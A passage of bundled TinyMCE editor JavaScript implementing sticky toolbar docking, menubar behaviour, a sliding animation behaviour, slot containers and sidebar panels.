      add$2(elem, contextualInfo.fadeInClass);
      contextualInfo.onShow(component);
    };
    const disappear = (component, contextualInfo) => {
      const elem = component.element;
      add$2(elem, contextualInfo.transitionClass);
      remove$2(elem, contextualInfo.fadeInClass);
      add$2(elem, contextualInfo.fadeOutClass);
      contextualInfo.onHide(component);
    };
    const isPartiallyVisible = (box, viewport) => box.y < viewport.bottom && box.bottom > viewport.y;
    const isTopCompletelyVisible = (box, viewport) => box.y >= viewport.y;
    const isBottomCompletelyVisible = (box, viewport) => box.bottom <= viewport.bottom;
    const isVisibleForModes = (modes, box, viewport) => forall(modes, mode => {
      switch (mode) {
      case 'bottom':
        return isBottomCompletelyVisible(box, viewport);
      case 'top':
        return isTopCompletelyVisible(box, viewport);
      }
    });
    const getPrior = (elem, state) => state.getInitialPos().map(pos => bounds(pos.bounds.x, pos.bounds.y, get$c(elem), get$d(elem)));
    const storePrior = (elem, box, state) => {
      state.setInitialPos({
        style: getAllRaw(elem),
        position: get$e(elem, 'position') || 'static',
        bounds: box
      });
    };
    const revertToOriginal = (elem, box, state) => state.getInitialPos().bind(position => {
      state.clearInitialPos();
      switch (position.position) {
      case 'static':
        return Optional.some(morphAdt.static());
      case 'absolute':
        const offsetBox = getOffsetParent(elem).map(box$1).getOrThunk(() => box$1(body()));
        return Optional.some(morphAdt.absolute(NuPositionCss('absolute', get$g(position.style, 'left').map(_left => box.x - offsetBox.x), get$g(position.style, 'top').map(_top => box.y - offsetBox.y), get$g(position.style, 'right').map(_right => offsetBox.right - box.right), get$g(position.style, 'bottom').map(_bottom => offsetBox.bottom - box.bottom))));
      default:
        return Optional.none();
      }
    });
    const morphToOriginal = (elem, viewport, state) => getPrior(elem, state).filter(box => isVisibleForModes(state.getModes(), box, viewport)).bind(box => revertToOriginal(elem, box, state));
    const morphToFixed = (elem, viewport, state) => {
      const box = box$1(elem);
      if (!isVisibleForModes(state.getModes(), box, viewport)) {
        storePrior(elem, box, state);
        const winBox = win();
        const left = box.x - winBox.x;
        const top = viewport.y - winBox.y;
        const bottom = winBox.bottom - viewport.bottom;
        const isTop = box.y <= viewport.y;
        return Optional.some(morphAdt.fixed(NuPositionCss('fixed', Optional.some(left), isTop ? Optional.some(top) : Optional.none(), Optional.none(), !isTop ? Optional.some(bottom) : Optional.none())));
      } else {
        return Optional.none();
      }
    };
    const getMorph = (component, viewport, state) => {
      const elem = component.element;
      const isDocked = is$1(getRaw(elem, 'position'), 'fixed');
      return isDocked ? morphToOriginal(elem, viewport, state) : morphToFixed(elem, viewport, state);
    };
    const getMorphToOriginal = (component, state) => {
      const elem = component.element;
      return getPrior(elem, state).bind(box => revertToOriginal(elem, box, state));
    };

    const morphToStatic = (component, config, state) => {
      state.setDocked(false);
      each$1([
        'left',
        'right',
        'top',
        'bottom',
        'position'
      ], prop => remove$6(component.element, prop));
      config.onUndocked(component);
    };
    const morphToCoord = (component, config, state, position) => {
      const isDocked = position.position === 'fixed';
      state.setDocked(isDocked);
      applyPositionCss(component.element, position);
      const method = isDocked ? config.onDocked : config.onUndocked;
      method(component);
    };
    const updateVisibility = (component, config, state, viewport, morphToDocked = false) => {
      config.contextual.each(contextInfo => {
        contextInfo.lazyContext(component).each(box => {
          const isVisible = isPartiallyVisible(box, viewport);
          if (isVisible !== state.isVisible()) {
            state.setVisible(isVisible);
            if (morphToDocked && !isVisible) {
              add$1(component.element, [contextInfo.fadeOutClass]);
              contextInfo.onHide(component);
            } else {
              const method = isVisible ? appear : disappear;
              method(component, contextInfo);
            }
          }
        });
      });
    };
    const refreshInternal = (component, config, state) => {
      const viewport = config.lazyViewport(component);
      const isDocked = state.isDocked();
      if (isDocked) {
        updateVisibility(component, config, state, viewport);
      }
      getMorph(component, viewport, state).each(morph => {
        morph.fold(() => morphToStatic(component, config, state), position => morphToCoord(component, config, state, position), position => {
          updateVisibility(component, config, state, viewport, true);
          morphToCoord(component, config, state, position);
        });
      });
    };
    const resetInternal = (component, config, state) => {
      const elem = component.element;
      state.setDocked(false);
      getMorphToOriginal(component, state).each(morph => {
        morph.fold(() => morphToStatic(component, config, state), position => morphToCoord(component, config, state, position), noop);
      });
      state.setVisible(true);
      config.contextual.each(contextInfo => {
        remove$1(elem, [
          contextInfo.fadeInClass,
          contextInfo.fadeOutClass,
          contextInfo.transitionClass
        ]);
        contextInfo.onShow(component);
      });
      refresh$4(component, config, state);
    };
    const refresh$4 = (component, config, state) => {
      if (component.getSystem().isConnected()) {
        refreshInternal(component, config, state);
      }
    };
    const reset = (component, config, state) => {
      if (state.isDocked()) {
        resetInternal(component, config, state);
      }
    };
    const isDocked$1 = (component, config, state) => state.isDocked();
    const setModes = (component, config, state, modes) => state.setModes(modes);
    const getModes = (component, config, state) => state.getModes();

    var DockingApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        refresh: refresh$4,
        reset: reset,
        isDocked: isDocked$1,
        getModes: getModes,
        setModes: setModes
    });

    const events$5 = (dockInfo, dockState) => derive$2([
      runOnSource(transitionend(), (component, simulatedEvent) => {
        dockInfo.contextual.each(contextInfo => {
          if (has(component.element, contextInfo.transitionClass)) {
            remove$1(component.element, [
              contextInfo.transitionClass,
              contextInfo.fadeInClass
            ]);
            const notify = dockState.isVisible() ? contextInfo.onShown : contextInfo.onHidden;
            notify(component);
          }
          simulatedEvent.stop();
        });
      }),
      run$1(windowScroll(), (component, _) => {
        refresh$4(component, dockInfo, dockState);
      }),
      run$1(windowResize(), (component, _) => {
        reset(component, dockInfo, dockState);
      })
    ]);

    var ActiveDocking = /*#__PURE__*/Object.freeze({
        __proto__: null,
        events: events$5
    });

    var DockingSchema = [
      optionObjOf('contextual', [
        requiredString('fadeInClass'),
        requiredString('fadeOutClass'),
        requiredString('transitionClass'),
        requiredFunction('lazyContext'),
        onHandler('onShow'),
        onHandler('onShown'),
        onHandler('onHide'),
        onHandler('onHidden')
      ]),
      defaultedFunction('lazyViewport', win),
      defaultedArrayOf('modes', [
        'top',
        'bottom'
      ], string),
      onHandler('onDocked'),
      onHandler('onUndocked')
    ];

    const init$6 = spec => {
      const docked = Cell(false);
      const visible = Cell(true);
      const initialBounds = value$2();
      const modes = Cell(spec.modes);
      const readState = () => `docked:  ${ docked.get() }, visible: ${ visible.get() }, modes: ${ modes.get().join(',') }`;
      return nu$8({
        isDocked: docked.get,
        setDocked: docked.set,
        getInitialPos: initialBounds.get,
        setInitialPos: initialBounds.set,
        clearInitialPos: initialBounds.clear,
        isVisible: visible.get,
        setVisible: visible.set,
        getModes: modes.get,
        setModes: modes.set,
        readState
      });
    };

    var DockingState = /*#__PURE__*/Object.freeze({
        __proto__: null,
        init: init$6
    });

    const Docking = create$4({
      fields: DockingSchema,
      name: 'docking',
      active: ActiveDocking,
      apis: DockingApis,
      state: DockingState
    });

    const toolbarHeightChange = constant$1(generate$6('toolbar-height-change'));

    const visibility = {
      fadeInClass: 'tox-editor-dock-fadein',
      fadeOutClass: 'tox-editor-dock-fadeout',
      transitionClass: 'tox-editor-dock-transition'
    };
    const editorStickyOnClass = 'tox-tinymce--toolbar-sticky-on';
    const editorStickyOffClass = 'tox-tinymce--toolbar-sticky-off';
    const scrollFromBehindHeader = (e, containerHeader) => {
      const doc = owner$4(containerHeader);
      const win = defaultView(containerHeader);
      const viewHeight = win.dom.innerHeight;
      const scrollPos = get$b(doc);
      const markerElement = SugarElement.fromDom(e.elm);
      const markerPos = absolute$2(markerElement);
      const markerHeight = get$d(markerElement);
      const markerTop = markerPos.y;
      const markerBottom = markerTop + markerHeight;
      const editorHeaderPos = absolute$3(containerHeader);
      const editorHeaderHeight = get$d(containerHeader);
      const editorHeaderTop = editorHeaderPos.top;
      const editorHeaderBottom = editorHeaderTop + editorHeaderHeight;
      const editorHeaderDockedAtTop = Math.abs(editorHeaderTop - scrollPos.top) < 2;
      const editorHeaderDockedAtBottom = Math.abs(editorHeaderBottom - (scrollPos.top + viewHeight)) < 2;
      if (editorHeaderDockedAtTop && markerTop < editorHeaderBottom) {
        to(scrollPos.left, markerTop - editorHeaderHeight, doc);
      } else if (editorHeaderDockedAtBottom && markerBottom > editorHeaderTop) {
        const y = markerTop - viewHeight + markerHeight + editorHeaderHeight;
        to(scrollPos.left, y, doc);
      }
    };
    const isDockedMode = (header, mode) => contains$2(Docking.getModes(header), mode);
    const updateIframeContentFlow = header => {
      const getOccupiedHeight = elm => getOuter$2(elm) + (parseInt(get$e(elm, 'margin-top'), 10) || 0) + (parseInt(get$e(elm, 'margin-bottom'), 10) || 0);
      const elm = header.element;
      parentElement(elm).each(parentElem => {
        const padding = 'padding-' + Docking.getModes(header)[0];
        if (Docking.isDocked(header)) {
          const parentWidth = get$c(parentElem);
          set$8(elm, 'width', parentWidth + 'px');
          set$8(parentElem, padding, getOccupiedHeight(elm) + 'px');
        } else {
          remove$6(elm, 'width');
          remove$6(parentElem, padding);
        }
      });
    };
    const updateSinkVisibility = (sinkElem, visible) => {
      if (visible) {
        remove$2(sinkElem, visibility.fadeOutClass);
        add$1(sinkElem, [
          visibility.transitionClass,
          visibility.fadeInClass
        ]);
      } else {
        remove$2(sinkElem, visibility.fadeInClass);
        add$1(sinkElem, [
          visibility.fadeOutClass,
          visibility.transitionClass
        ]);
      }
    };
    const updateEditorClasses = (editor, docked) => {
      const editorContainer = SugarElement.fromDom(editor.getContainer());
      if (docked) {
        add$2(editorContainer, editorStickyOnClass);
        remove$2(editorContainer, editorStickyOffClass);
      } else {
        add$2(editorContainer, editorStickyOffClass);
        remove$2(editorContainer, editorStickyOnClass);
      }
    };
    const restoreFocus = (headerElem, focusedElem) => {
      const ownerDoc = owner$4(focusedElem);
      active$1(ownerDoc).filter(activeElm => !eq(focusedElem, activeElm)).filter(activeElm => eq(activeElm, SugarElement.fromDom(ownerDoc.dom.body)) || contains(headerElem, activeElm)).each(() => focus$3(focusedElem));
    };
    const findFocusedElem = (rootElm, lazySink) => search(rootElm).orThunk(() => lazySink().toOptional().bind(sink => search(sink.element)));
    const setup$9 = (editor, sharedBackstage, lazyHeader) => {
      if (!editor.inline) {
        if (!sharedBackstage.header.isPositionedAtTop()) {
          editor.on('ResizeEditor', () => {
            lazyHeader().each(Docking.reset);
          });
        }
        editor.on('ResizeWindow ResizeEditor', () => {
          lazyHeader().each(updateIframeContentFlow);
        });
        editor.on('SkinLoaded', () => {
          lazyHeader().each(comp => {
            Docking.isDocked(comp) ? Docking.reset(comp) : Docking.refresh(comp);
          });
        });
        editor.on('FullscreenStateChanged', () => {
          lazyHeader().each(Docking.reset);
        });
      }
      editor.on('AfterScrollIntoView', e => {
        lazyHeader().each(header => {
          Docking.refresh(header);
          const headerElem = header.element;
          if (isVisible(headerElem)) {
            scrollFromBehindHeader(e, headerElem);
          }
        });
      });
      editor.on('PostRender', () => {
        updateEditorClasses(editor, false);
      });
    };
    const isDocked = lazyHeader => lazyHeader().map(Docking.isDocked).getOr(false);
    const getIframeBehaviours = () => [Receiving.config({ channels: { [toolbarHeightChange()]: { onReceive: updateIframeContentFlow } } })];
    const getBehaviours = (editor, sharedBackstage) => {
      const focusedElm = value$2();
      const lazySink = sharedBackstage.getSink;
      const runOnSinkElement = f => {
        lazySink().each(sink => f(sink.element));
      };
      const onDockingSwitch = comp => {
        if (!editor.inline) {
          updateIframeContentFlow(comp);
        }
        updateEditorClasses(editor, Docking.isDocked(comp));
        comp.getSystem().broadcastOn([repositionPopups()], {});
        lazySink().each(sink => sink.getSystem().broadcastOn([repositionPopups()], {}));
      };
      const additionalBehaviours = editor.inline ? [] : getIframeBehaviours();
      return [
        Focusing.config({}),
        Docking.config({
          contextual: {
            lazyContext: comp => {
              const headerHeight = getOuter$2(comp.element);
              const container = editor.inline ? editor.getContentAreaContainer() : editor.getContainer();
              const box = box$1(SugarElement.fromDom(container));
              const boxHeight = box.height - headerHeight;
              const topBound = box.y + (isDockedMode(comp, 'top') ? 0 : headerHeight);
              return Optional.some(bounds(box.x, topBound, box.width, boxHeight));
            },
            onShow: () => {
              runOnSinkElement(elem => updateSinkVisibility(elem, true));
            },
            onShown: comp => {
              runOnSinkElement(elem => remove$1(elem, [
                visibility.transitionClass,
                visibility.fadeInClass
              ]));
              focusedElm.get().each(elem => {
                restoreFocus(comp.element, elem);
                focusedElm.clear();
              });
            },
            onHide: comp => {
              findFocusedElem(comp.element, lazySink).fold(focusedElm.clear, focusedElm.set);
              runOnSinkElement(elem => updateSinkVisibility(elem, false));
            },
            onHidden: () => {
              runOnSinkElement(elem => remove$1(elem, [visibility.transitionClass]));
            },
            ...visibility
          },
          lazyViewport: comp => {
            const win$1 = win();
            const offset = getStickyToolbarOffset(editor);
            const top = win$1.y + (isDockedMode(comp, 'top') ? offset : 0);
            const height = win$1.height - (isDockedMode(comp, 'bottom') ? offset : 0);
            return bounds(win$1.x, top, win$1.width, height);
          },
          modes: [sharedBackstage.header.getDockingMode()],
          onDocked: onDockingSwitch,
          onUndocked: onDockingSwitch
        }),
        ...additionalBehaviours
      ];
    };

    var StickyHeader = /*#__PURE__*/Object.freeze({
        __proto__: null,
        setup: setup$9,
        isDocked: isDocked,
        getBehaviours: getBehaviours
    });

    const renderHeader = spec => {
      const editor = spec.editor;
      const getBehaviours$2 = spec.sticky ? getBehaviours : getBehaviours$1;
      return {
        uid: spec.uid,
        dom: spec.dom,
        components: spec.components,
        behaviours: derive$1(getBehaviours$2(editor, spec.sharedBackstage))
      };
    };

    const groupToolbarButtonSchema = objOf([
      type,
      requiredOf('items', oneOf([
        arrOfObj([
          name$1,
          requiredArrayOf('items', string)
        ]),
        string
      ]))
    ].concat(baseToolbarButtonFields));
    const createGroupToolbarButton = spec => asRaw('GroupToolbarButton', groupToolbarButtonSchema, spec);

    const baseMenuButtonFields = [
      optionString('text'),
      optionString('tooltip'),
      optionString('icon'),
      defaultedOf('search', false, oneOf([
        boolean,
        objOf([optionString('placeholder')])
      ], x => {
        if (isBoolean(x)) {
          return x ? Optional.some({ placeholder: Optional.none() }) : Optional.none();
        } else {
          return Optional.some(x);
        }
      })),
      requiredFunction('fetch'),
      defaultedFunction('onSetup', () => noop)
    ];

    const MenuButtonSchema = objOf([
      type,
      ...baseMenuButtonFields
    ]);
    const createMenuButton = spec => asRaw('menubutton', MenuButtonSchema, spec);

    const splitButtonSchema = objOf([
      type,
      optionalTooltip,
      optionalIcon,
      optionalText,
      optionalSelect,
      fetch$1,
      onSetup,
      defaultedStringEnum('presets', 'normal', [
        'normal',
        'color',
        'listpreview'
      ]),
      defaultedColumns(1),
      onAction,
      onItemAction
    ]);
    const createSplitButton = spec => asRaw('SplitButton', splitButtonSchema, spec);

    const factory$d = (detail, spec) => {
      const setMenus = (comp, menus) => {
        const newMenus = map$2(menus, m => {
          const buttonSpec = {
            type: 'menubutton',
            text: m.text,
            fetch: callback => {
              callback(m.getItems());
            }
          };
          const internal = createMenuButton(buttonSpec).mapError(errInfo => formatError(errInfo)).getOrDie();
          return renderMenuButton(internal, 'tox-mbtn', spec.backstage, Optional.some('menuitem'));
        });
        Replacing.set(comp, newMenus);
      };
      const apis = {
        focus: Keying.focusIn,
        setMenus
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components: [],
        behaviours: derive$1([
          Replacing.config({}),
          config('menubar-events', [
            runOnAttached(component => {
              detail.onSetup(component);
            }),
            run$1(mouseover(), (comp, se) => {
              descendant(comp.element, '.' + 'tox-mbtn--active').each(activeButton => {
                closest$1(se.event.target, '.' + 'tox-mbtn').each(hoveredButton => {
                  if (!eq(activeButton, hoveredButton)) {
                    comp.getSystem().getByDom(activeButton).each(activeComp => {
                      comp.getSystem().getByDom(hoveredButton).each(hoveredComp => {
                        Dropdown.expand(hoveredComp);
                        Dropdown.close(activeComp);
                        Focusing.focus(hoveredComp);
                      });
                    });
                  }
                });
              });
            }),
            run$1(focusShifted(), (comp, se) => {
              se.event.prevFocus.bind(prev => comp.getSystem().getByDom(prev).toOptional()).each(prev => {
                se.event.newFocus.bind(nu => comp.getSystem().getByDom(nu).toOptional()).each(nu => {
                  if (Dropdown.isOpen(prev)) {
                    Dropdown.expand(nu);
                    Dropdown.close(prev);
                  }
                });
              });
            })
          ]),
          Keying.config({
            mode: 'flow',
            selector: '.' + 'tox-mbtn',
            onEscape: comp => {
              detail.onEscape(comp);
              return Optional.some(true);
            }
          }),
          Tabstopping.config({})
        ]),
        apis,
        domModification: { attributes: { role: 'menubar' } }
      };
    };
    var SilverMenubar = single({
      factory: factory$d,
      name: 'silver.Menubar',
      configFields: [
        required$1('dom'),
        required$1('uid'),
        required$1('onEscape'),
        required$1('backstage'),
        defaulted('onSetup', noop)
      ],
      apis: {
        focus: (apis, comp) => {
          apis.focus(comp);
        },
        setMenus: (apis, comp, menus) => {
          apis.setMenus(comp, menus);
        }
      }
    });

    const promotionMessage = '\u26A1\ufe0fUpgrade';
    const promotionLink = 'https://www.tiny.cloud/tinymce-self-hosted-premium-features/?utm_source=TinyMCE&utm_medium=SPAP&utm_campaign=SPAP&utm_id=editorreferral';
    const renderPromotion = spec => {
      return {
        uid: spec.uid,
        dom: spec.dom,
        components: [{
            dom: {
              tag: 'a',
              attributes: {
                'href': promotionLink,
                'rel': 'noopener',
                'target': '_blank',
                'aria-hidden': 'true'
              },
              classes: ['tox-promotion-link'],
              innerHtml: promotionMessage
            }
          }]
      };
    };

    const getAnimationRoot = (component, slideConfig) => slideConfig.getAnimationRoot.fold(() => component.element, get => get(component));

    const getDimensionProperty = slideConfig => slideConfig.dimension.property;
    const getDimension = (slideConfig, elem) => slideConfig.dimension.getDimension(elem);
    const disableTransitions = (component, slideConfig) => {
      const root = getAnimationRoot(component, slideConfig);
      remove$1(root, [
        slideConfig.shrinkingClass,
        slideConfig.growingClass
      ]);
    };
    const setShrunk = (component, slideConfig) => {
      remove$2(component.element, slideConfig.openClass);
      add$2(component.element, slideConfig.closedClass);
      set$8(component.element, getDimensionProperty(slideConfig), '0px');
      reflow(component.element);
    };
    const setGrown = (component, slideConfig) => {
      remove$2(component.element, slideConfig.closedClass);
      add$2(component.element, slideConfig.openClass);
      remove$6(component.element, getDimensionProperty(slideConfig));
    };
    const doImmediateShrink = (component, slideConfig, slideState, _calculatedSize) => {
      slideState.setCollapsed();
      set$8(component.element, getDimensionProperty(slideConfig), getDimension(slideConfig, component.element));
      disableTransitions(component, slideConfig);
      setShrunk(component, slideConfig);
      slideConfig.onStartShrink(component);
      slideConfig.onShrunk(component);
    };
    const doStartShrink = (component, slideConfig, slideState, calculatedSize) => {
      const size = calculatedSize.getOrThunk(() => getDimension(slideConfig, component.element));
      slideState.setCollapsed();
      set$8(component.element, getDimensionProperty(slideConfig), size);
      reflow(component.element);
      const root = getAnimationRoot(component, slideConfig);
      remove$2(root, slideConfig.growingClass);
      add$2(root, slideConfig.shrinkingClass);
      setShrunk(component, slideConfig);
      slideConfig.onStartShrink(component);
    };
    const doStartSmartShrink = (component, slideConfig, slideState) => {
      const size = getDimension(slideConfig, component.element);
      const shrinker = size === '0px' ? doImmediateShrink : doStartShrink;
      shrinker(component, slideConfig, slideState, Optional.some(size));
    };
    const doStartGrow = (component, slideConfig, slideState) => {
      const root = getAnimationRoot(component, slideConfig);
      const wasShrinking = has(root, slideConfig.shrinkingClass);
      const beforeSize = getDimension(slideConfig, component.element);
      setGrown(component, slideConfig);
      const fullSize = getDimension(slideConfig, component.element);
      const startPartialGrow = () => {
        set$8(component.element, getDimensionProperty(slideConfig), beforeSize);
        reflow(component.element);
      };
      const startCompleteGrow = () => {
        setShrunk(component, slideConfig);
      };
      const setStartSize = wasShrinking ? startPartialGrow : startCompleteGrow;
      setStartSize();
      remove$2(root, slideConfig.shrinkingClass);
      add$2(root, slideConfig.growingClass);
      setGrown(component, slideConfig);
      set$8(component.element, getDimensionProperty(slideConfig), fullSize);
      slideState.setExpanded();
      slideConfig.onStartGrow(component);
    };
    const refresh$3 = (component, slideConfig, slideState) => {
      if (slideState.isExpanded()) {
        remove$6(component.element, getDimensionProperty(slideConfig));
        const fullSize = getDimension(slideConfig, component.element);
        set$8(component.element, getDimensionProperty(slideConfig), fullSize);
      }
    };
    const grow = (component, slideConfig, slideState) => {
      if (!slideState.isExpanded()) {
        doStartGrow(component, slideConfig, slideState);
      }
    };
    const shrink = (component, slideConfig, slideState) => {
      if (slideState.isExpanded()) {
        doStartSmartShrink(component, slideConfig, slideState);
      }
    };
    const immediateShrink = (component, slideConfig, slideState) => {
      if (slideState.isExpanded()) {
        doImmediateShrink(component, slideConfig, slideState);
      }
    };
    const hasGrown = (component, slideConfig, slideState) => slideState.isExpanded();
    const hasShrunk = (component, slideConfig, slideState) => slideState.isCollapsed();
    const isGrowing = (component, slideConfig, _slideState) => {
      const root = getAnimationRoot(component, slideConfig);
      return has(root, slideConfig.growingClass) === true;
    };
    const isShrinking = (component, slideConfig, _slideState) => {
      const root = getAnimationRoot(component, slideConfig);
      return has(root, slideConfig.shrinkingClass) === true;
    };
    const isTransitioning = (component, slideConfig, slideState) => isGrowing(component, slideConfig) || isShrinking(component, slideConfig);
    const toggleGrow = (component, slideConfig, slideState) => {
      const f = slideState.isExpanded() ? doStartSmartShrink : doStartGrow;
      f(component, slideConfig, slideState);
    };
    const immediateGrow = (component, slideConfig, slideState) => {
      if (!slideState.isExpanded()) {
        setGrown(component, slideConfig);
        set$8(component.element, getDimensionProperty(slideConfig), getDimension(slideConfig, component.element));
        disableTransitions(component, slideConfig);
        slideState.setExpanded();
        slideConfig.onStartGrow(component);
        slideConfig.onGrown(component);
      }
    };

    var SlidingApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        refresh: refresh$3,
        grow: grow,
        shrink: shrink,
        immediateShrink: immediateShrink,
        hasGrown: hasGrown,
        hasShrunk: hasShrunk,
        isGrowing: isGrowing,
        isShrinking: isShrinking,
        isTransitioning: isTransitioning,
        toggleGrow: toggleGrow,
        disableTransitions: disableTransitions,
        immediateGrow: immediateGrow
    });

    const exhibit = (base, slideConfig, _slideState) => {
      const expanded = slideConfig.expanded;
      return expanded ? nu$7({
        classes: [slideConfig.openClass],
        styles: {}
      }) : nu$7({
        classes: [slideConfig.closedClass],
        styles: wrap$1(slideConfig.dimension.property, '0px')
      });
    };
    const events$4 = (slideConfig, slideState) => derive$2([runOnSource(transitionend(), (component, simulatedEvent) => {
        const raw = simulatedEvent.event.raw;
        if (raw.propertyName === slideConfig.dimension.property) {
          disableTransitions(component, slideConfig);
          if (slideState.isExpanded()) {
            remove$6(component.element, slideConfig.dimension.property);
          }
          const notify = slideState.isExpanded() ? slideConfig.onGrown : slideConfig.onShrunk;
          notify(component);
        }
      })]);

    var ActiveSliding = /*#__PURE__*/Object.freeze({
        __proto__: null,
        exhibit: exhibit,
        events: events$4
    });

    var SlidingSchema = [
      required$1('closedClass'),
      required$1('openClass'),
      required$1('shrinkingClass'),
      required$1('growingClass'),
      option$3('getAnimationRoot'),
      onHandler('onShrunk'),
      onHandler('onStartShrink'),
      onHandler('onGrown'),
      onHandler('onStartGrow'),
      defaulted('expanded', false),
      requiredOf('dimension', choose$1('property', {
        width: [
          output$1('property', 'width'),
          output$1('getDimension', elem => get$c(elem) + 'px')
        ],
        height: [
          output$1('property', 'height'),
          output$1('getDimension', elem => get$d(elem) + 'px')
        ]
      }))
    ];

    const init$5 = spec => {
      const state = Cell(spec.expanded);
      const readState = () => 'expanded: ' + state.get();
      return nu$8({
        isExpanded: () => state.get() === true,
        isCollapsed: () => state.get() === false,
        setCollapsed: curry(state.set, false),
        setExpanded: curry(state.set, true),
        readState
      });
    };

    var SlidingState = /*#__PURE__*/Object.freeze({
        __proto__: null,
        init: init$5
    });

    const Sliding = create$4({
      fields: SlidingSchema,
      name: 'sliding',
      active: ActiveSliding,
      apis: SlidingApis,
      state: SlidingState
    });

    const owner = 'container';
    const schema$d = [field('slotBehaviours', [])];
    const getPartName = name => '<alloy.field.' + name + '>';
    const sketch = sSpec => {
      const parts = (() => {
        const record = [];
        const slot = (name, config) => {
          record.push(name);
          return generateOne$1(owner, getPartName(name), config);
        };
        return {
          slot,
          record: constant$1(record)
        };
      })();
      const spec = sSpec(parts);
      const partNames = parts.record();
      const fieldParts = map$2(partNames, n => required({
        name: n,
        pname: getPartName(n)
      }));
      return composite$1(owner, schema$d, fieldParts, make$1, spec);
    };
    const make$1 = (detail, components) => {
      const getSlotNames = _ => getAllPartNames(detail);
      const getSlot = (container, key) => getPart(container, detail, key);
      const onSlot = (f, def) => (container, key) => getPart(container, detail, key).map(slot => f(slot, key)).getOr(def);
      const onSlots = f => (container, keys) => {
        each$1(keys, key => f(container, key));
      };
      const doShowing = (comp, _key) => get$f(comp.element, 'aria-hidden') !== 'true';
      const doShow = (comp, key) => {
        if (!doShowing(comp)) {
          const element = comp.element;
          remove$6(element, 'display');
          remove$7(element, 'aria-hidden');
          emitWith(comp, slotVisibility(), {
            name: key,
            visible: true
          });
        }
      };
      const doHide = (comp, key) => {
        if (doShowing(comp)) {
          const element = comp.element;
          set$8(element, 'display', 'none');
          set$9(element, 'aria-hidden', 'true');
          emitWith(comp, slotVisibility(), {
            name: key,
            visible: false
          });
        }
      };
      const isShowing = onSlot(doShowing, false);
      const hideSlot = onSlot(doHide);
      const hideSlots = onSlots(hideSlot);
      const hideAllSlots = container => hideSlots(container, getSlotNames());
      const showSlot = onSlot(doShow);
      const apis = {
        getSlotNames,
        getSlot,
        isShowing,
        hideSlot,
        hideAllSlots,
        showSlot
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components,
        behaviours: get$3(detail.slotBehaviours),
        apis
      };
    };
    const slotApis = map$1({
      getSlotNames: (apis, c) => apis.getSlotNames(c),
      getSlot: (apis, c, key) => apis.getSlot(c, key),
      isShowing: (apis, c, key) => apis.isShowing(c, key),
      hideSlot: (apis, c, key) => apis.hideSlot(c, key),
      hideAllSlots: (apis, c) => apis.hideAllSlots(c),
      showSlot: (apis, c, key) => apis.showSlot(c, key)
    }, value => makeApi(value));
    const SlotContainer = {
      ...slotApis,
      ...{ sketch }
    };

    const sidebarSchema = objOf([
      optionalIcon,
      optionalTooltip,
      defaultedFunction('onShow', noop),
      defaultedFunction('onHide', noop),
      onSetup
    ]);
    const createSidebar = spec => asRaw('sidebar', sidebarSchema, spec);

    const setup$8 = editor => {
      const {sidebars} = editor.ui.registry.getAll();
      each$1(keys(sidebars), name => {
        const spec = sidebars[name];
        const isActive = () => is$1(Optional.from(editor.queryCommandValue('ToggleSidebar')), name);
        editor.ui.registry.addToggleButton(name, {
          icon: spec.icon,
          tooltip: spec.tooltip,
          onAction: buttonApi => {
            editor.execCommand('ToggleSidebar', false, name);
            buttonApi.setActive(isActive());
          },
          onSetup: buttonApi => {
            buttonApi.setActive(isActive());
            const handleToggle = () => buttonApi.setActive(isActive());
            editor.on('ToggleSidebar', handleToggle);
            return () => {
              editor.off('ToggleSidebar', handleToggle);
            };
          }
        });
      });
    };
    const getApi = comp => ({ element: () => comp.element.dom });
    const makePanels = (parts, panelConfigs) => {
      const specs = map$2(keys(panelConfigs), name => {
        const spec = panelConfigs[name];
        const bridged = getOrDie(createSidebar(spec));
        return {
          name,
          getApi,
          onSetup: bridged.onSetup,
          onShow: bridged.onShow,
          onHide: bridged.onHide
        };
      });
      return map$2(specs, spec => {
        const editorOffCell = Cell(noop);
        return parts.slot(spec.name, {
          dom: {
            tag: 'div',
            classes: ['tox-sidebar__pane']
          },
          behaviours: SimpleBehaviours.unnamedEvents([
            onControlAttached(spec, editorOffCell),
            onControlDetached(spec, editorOffCell),
            run$1(slotVisibility(), (sidepanel, se) => {
              const data = se.event;
              const optSidePanelSpec = find$5(specs, config => config.name === data.name);
              optSidePanelSpec.each(sidePanelSpec => {
                const handler = data.visible ? sidePanelSpec.onShow : sidePanelSpec.onHide;
                handler(sidePanelSpec.getApi(sidepanel));
              });
            })
          ])
        });
      });
    };
    const makeSidebar = panelConfigs => SlotContainer.sketch(parts => ({
      dom: {
        tag: 'div',
        classes: ['tox-sidebar__pane-container']
      },
      components: makePanels(parts, panelConfigs),
      slotBehaviours: SimpleBehaviours.unnamedEvents([runOnAttached(slotContainer => SlotContainer.hideAllSlots(slotContainer))])
    }));
    const setSidebar = (sidebar, panelConfigs, showSidebar) => {
      const optSlider = Composing.getCurrent(sidebar);
      optSlider.each(slider => {
        Replacing.set(slider, [makeSidebar(panelConfigs)]);
        const configKey = showSidebar === null || showSidebar === void 0 ? void 0 : showSidebar.toLowerCase();
        if (isString(configKey) && has$2(panelConfigs, configKey)) {
          Composing.getCurrent(slider).each(slotContainer => {
            SlotContainer.showSlot(slotContainer, configKey);
            Sliding.immediateGrow(slider);
            remove$6(slider.element, 'width');
          });
        }
      });
    };
    const toggleSidebar = (sidebar, name) => {
      const optSlider = Composing.getCurrent(sidebar);
      optSlider.each(slider => {
        const optSlotContainer = Composing.getCurrent(slider);
        optSlotContainer.each(slotContainer => {
          if (Sliding.hasGrown(slider)) {
            if (SlotContainer.isShowing(slotContainer, name)) {
              Sliding.shrink(slider);
            } else {
              SlotContainer.hideAllSlots(slotContainer);
              SlotContainer.showSlot(slotContainer, name);
            }
          } else {
            SlotContainer.hideAllSlots(slotContainer);
            SlotContainer.showSlot(slotContainer, name);
            Sliding.grow(slider);
          }
        });
      });
    };
    const whichSidebar = sidebar => {
      const optSlider = Composing.getCurrent(sidebar);
      return optSlider.bind(slider => {
        const sidebarOpen = Sliding.isGrowing(slider) || Sliding.hasGrown(slider);
        if (sidebarOpen) {
          const optSlotContainer = Composing.getCurrent(slider);
          return optSlotContainer.bind(slotContainer => find$5(SlotContainer.getSlotNames(slotContainer), name => SlotContainer.isShowing(slotContainer, name)));
        } else {
          return Optional.none();
        }
      });
    };
    const fixSize = generate$6('FixSizeEvent');
